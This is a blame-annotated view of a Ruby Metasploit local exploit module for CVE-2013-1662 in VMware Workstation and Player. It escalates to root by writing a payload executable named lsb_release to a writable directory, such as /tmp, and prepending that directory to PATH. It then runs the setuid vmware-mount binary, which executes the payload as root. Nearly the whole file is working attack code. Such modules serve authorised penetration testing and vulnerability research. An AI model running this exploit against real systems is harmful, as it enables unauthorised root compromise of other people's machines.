Files
metasploit-gs/modules/exploits/linux/local/vmware_mount.rb
T

87 lines
2.8 KiB
Ruby
Raw Normal View History

##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Local
2017-05-03 11:12:55 -04:00
Rank = ExcellentRanking
2013-09-05 13:41:25 -05:00
include Msf::Exploit::EXE
include Msf::Post::File
2013-08-30 16:28:54 -05:00
def initialize(info={})
super( update_info( info, {
'Name' => 'VMWare Setuid vmware-mount Unsafe popen(3)',
'Description' => %q{
VMWare Workstation (up to and including 9.0.2 build-1031769)
and Player have a setuid executable called vmware-mount that
invokes lsb_release in the PATH with popen(3). Since PATH is
user-controlled, and the default system shell on
Debian-derived distributions does not drop privs, we can put
an arbitrary payload in an executable called lsb_release and
have vmware-mount happily execute it as root for us.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Tavis Ormandy', # Vulnerability discovery and PoC
'egypt' # Metasploit module
],
'Platform' => [ 'linux' ],
'Arch' => ARCH_X86,
'Targets' =>
[
[ 'Automatic', { } ],
],
'DefaultOptions' => {
"PrependSetresuid" => true,
"PrependSetresgid" => true,
2013-09-05 13:24:09 -05:00
"PrependFork" => true,
2013-08-30 16:28:54 -05:00
},
'Privileged' => true,
'DefaultTarget' => 0,
'References' => [
[ 'CVE', '2013-1662' ],
[ 'OSVDB', '96588' ],
2013-08-30 16:28:54 -05:00
[ 'BID', '61966'],
[ 'URL', 'http://blog.cmpxchg8b.com/2013/08/security-debianisms.html' ],
2013-10-01 20:50:16 -05:00
[ 'URL', 'http://www.vmware.com/support/support-resources/advisories/VMSA-2013-0010.html' ],
[ 'URL', 'https://blog.rapid7.com/2013/09/05/cve-2013-1662-vmware-mount-exploit' ]
2013-08-30 16:28:54 -05:00
],
'DisclosureDate' => "Aug 22 2013"
}
))
2018-10-10 14:12:29 +00:00
register_advanced_options [
2018-10-10 14:35:34 +00:00
OptString.new("WritableDir", [ true, "A directory where you can write files.", "/tmp" ])
2018-10-10 14:12:29 +00:00
]
2013-08-30 16:28:54 -05:00
end
2013-08-30 16:28:54 -05:00
def check
if setuid?("/usr/bin/vmware-mount")
2014-01-24 12:08:23 -06:00
CheckCode::Appears
2013-08-30 16:28:54 -05:00
else
CheckCode::Safe
end
end
2013-08-30 16:28:54 -05:00
def exploit
2014-11-26 16:53:30 +10:00
unless check == CheckCode::Appears
2013-08-30 16:28:54 -05:00
fail_with(Failure::NotVulnerable, "vmware-mount doesn't exist or is not setuid")
end
2018-10-10 14:35:34 +00:00
lsb_path = File.join(datastore['WritableDir'], 'lsb_release')
2014-11-27 21:38:50 +00:00
write_file(lsb_path, generate_payload_exe)
cmd_exec("chmod +x #{lsb_path}")
2018-10-10 14:35:34 +00:00
cmd_exec("PATH=#{datastore['WritableDir']}:$PATH /usr/bin/vmware-mount")
2013-08-30 16:28:54 -05:00
# Delete it here instead of using FileDropper because the original
# session can clean it up
2014-11-27 21:38:50 +00:00
cmd_exec("rm -f #{lsb_path}")
2013-08-30 16:28:54 -05:00
end
2013-08-30 16:28:54 -05:00
def setuid?(remote_file)
2014-03-04 11:30:42 -06:00
!!(cmd_exec("test -u #{remote_file.strip} && echo true").index "true")
2013-08-30 16:28:54 -05:00
end
end